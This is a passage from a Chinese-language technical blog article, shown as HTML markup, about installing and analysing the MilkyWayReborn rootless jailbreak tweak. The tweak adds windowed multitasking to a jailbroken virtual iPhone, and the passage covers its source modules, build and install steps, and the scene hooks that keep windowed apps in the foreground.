href="https://github.com/34306/MilkyWayReborn" target="_blank">https://github.com/34306/MilkyWayReborn</a></span></code></pre><p data-line="16" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">这个仓库是一个越狱插件，包名是</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">com.milkyway.reborn</span></code><span leaf="">。仓库文档描述它是一个用于在同一屏幕上同时使用多个App的多任务tweak。查看它的control文件，定义是给iOS18和26用的窗口化多任务插件，也是</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">MilkyWay2</span></code><span leaf="">的现代重写版。这个版本范围对于安卓研究设备的版本号来说，够宽泛也够用了。</span></p><p data-line="18" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">从工程结构看，它是典型的rootless的</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">Theos</span></code><span leaf="">包，</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">Makefile</span></code><span leaf="">里明确写了</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">THEOS_PACKAGE_SCHEME = rootless</span></code><span leaf="">，目标架构是</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">arm64</span></code><span leaf="">和</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">arm64e</span></code><span leaf="">。这意味着它不是传统老式越狱时代那种随便往系统目录里塞文件的玩法，而是按现代rootless越狱的布局来做的。</span></p><p data-line="20" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">功能源码主干由这几个模块组成：</span></p><ul style="margin-top: 0px;margin-bottom: 0.7em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">Tweak.x</span></code><p><span leaf="">：负责hook系统和场景流程。</span></p></li><li><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">MWWindowView.m</span></code><p><span leaf="">：负责窗口外壳、按钮和拖拽缩放。</span></p></li><li><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">MWBackgrounderManager</span></code><p><span leaf="">：负责管理哪些App要保持前台状态。</span></p></li><li><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">MWSceneHelper</span></code><p><span leaf="">：负责场景唤醒、休眠和查找。</span></p></li><li><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">MWPassthroughWindow</span></code><p><span leaf="">：负责把内容挂到合适的透传窗口里。</span></p></li><li><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">MWThemeManager</span></code><p><span leaf="">：负责窗口样式和控件外观。</span></p></li></ul><p data-line="29" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">基本能看出，它是直接插进</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">SpringBoard</span></code><span leaf="">和</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">Scene</span></code><span leaf="">系统里，把App变成可以拖来拖去的窗口。</span></p><h2 data-line="31" dir="auto" style="margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.5em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">iOS虚拟手机越狱</span></h2><p data-line="33" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">要让这个插件跑起来，前提不是安装包，而是先把iOS虚拟手机搞成越狱状态。</span></p><p data-line="35" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">在前一篇文章里，iOS虚拟手机的越狱路线已经讲过了，核心思路就是走</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">vphone-cli</span></code><span leaf="">的</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">Jailbreak</span></code><span leaf="">变体，而不是在系统起来以后再单独找一套传统越狱方案。这个路线会把系统、启动链、用户态工具和bootstrap一起准备好，最后给你一个已经具备</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">/var/jb</span></code><span leaf="">布局、能装包、能加载</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">Substrate</span></code><span leaf="">插件的虚拟iPhone。</span></p><p data-line="37" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">如果你沿用前一篇的虚拟手机构建链，通常就是直接选</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">JB=1</span></code><span leaf="">这条路：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="39" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span leaf="">make setup_machine JB=1</span></code></pre><p data-line="43" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">简单的讲，虚拟手机越狱后，在安装插件之前，先确认这几件事：</span></p><ol style="margin-top: 0px;margin-bottom: 0.7em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">Sileo</span></code><p><span leaf="">或者等价的包管理器能正常打开。</span></p></li><li><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">mobilesubstrate</span></code><p><span leaf="">已经在系统里。</span></p></li><li><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">/var/jb</span></code><p><span leaf="">存在，说明是rootless布局。</span></p></li><li><p><span leaf="">SpringBoard重启后不会把越狱环境打回原形。</span></p></li><li><p><span leaf="">你能在虚拟机里装一个最简单的tweak并让它生效。</span></p></li></ol><p data-line="51" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">如果这几步没问题，说明虚拟手机已经具备安装</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">MilkyWayReborn</span></code><span leaf="">的基础条件了。</span></p><h2 data-line="53" dir="auto" style="margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.5em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">安装越狱插件</span></h2><p data-line="55" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">MilkyWayReborn</span></code><span leaf="">的安装方式很标准，就是越狱插件的那一套。因为它依赖</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">mobilesubstrate</span></code><span leaf="">，所以本质上是一个要被注入</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">SpringBoard</span></code><span leaf="">和目标App的动态tweak。</span></p><p data-line="57" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">make package</span></code><span leaf="">先生成</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">.deb</span></code><span leaf="">包。然后把编译好的包通过SSH丢进虚拟手机，接着使用</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">Sileo</span></code><span leaf="">或者</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">dpkg -i</span></code><span leaf="">安装，装完后respring一次，让</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">SpringBoard</span></code><span leaf="">重新加载注入链。对于rootless环境来说，这种方式最稳。</span></p><p data-line="59" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">安装完成后，重启一次</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">SpringBoard</span></code><span leaf="">。再用一个简单App测试，长按图标菜单里有没有</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">Open in Window</span></code><span leaf="">。如果这个入口出现了，说明插件已经注入成功了。</span></p><h2 data-line="61" dir="auto" style="margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.5em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">App窗口化技术</span></h2><p data-line="63" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">MilkyWayReborn</span></code><span leaf="">的核心不是“加个小浮窗”，而是把一个App真的变成窗口。</span></p><p data-line="65" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">它在主屏图标上挂了一个快捷动作，名字就是</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">Open in Window</span></code><span leaf="">。也就是说，你长按某个App图标时，不只是打开或者卸载，还能直接让这个App以窗口形态启动。这个入口很适合iOS虚拟手机，因为虚拟手机本来就强调可重复、可自动化的操作流程，少一次手动切换，体验就完整很多。</span></p><p data-line="67" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">窗口本体也做得很完整。</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">MWWindowView</span></code><span leaf="">里能看到标题栏、关闭按钮、最小化按钮、最大化按钮和右下角缩放手柄。窗口可以拖动，缩放手柄可以拖拽改变大小，双击缩放手柄可以把窗口恢复到内容视图的原始比例，长按缩放手柄还会按当前设备方向做一次旋转校正。</span></p><p data-line="69" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">插件最难的部分，不是画窗口，而是让窗口里的App别被系统赶回后台。</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">MilkyWayReborn</span></code><span leaf="">在这里下了很重的功夫。源码里能看到它对</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">FBScene</span></code><span leaf="">、</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">UIMutableApplicationSceneSettings</span></code><span leaf="">、</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">_UISceneHostingActivationStateHostComponent</span></code><span leaf="">和</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">SBApplication</span></code><span leaf="">都做了处理，目标很明确：只要这个App被标记为窗口化，就尽量维持它的foreground状态，避免Scene系统和RunningBoard把它当成普通后台应用处理掉。</span></p><p data-line="71" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">更具体一点，它会做这些事：</span></p><ul style="margin-top: 0px;margin-bottom: 0.7em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: 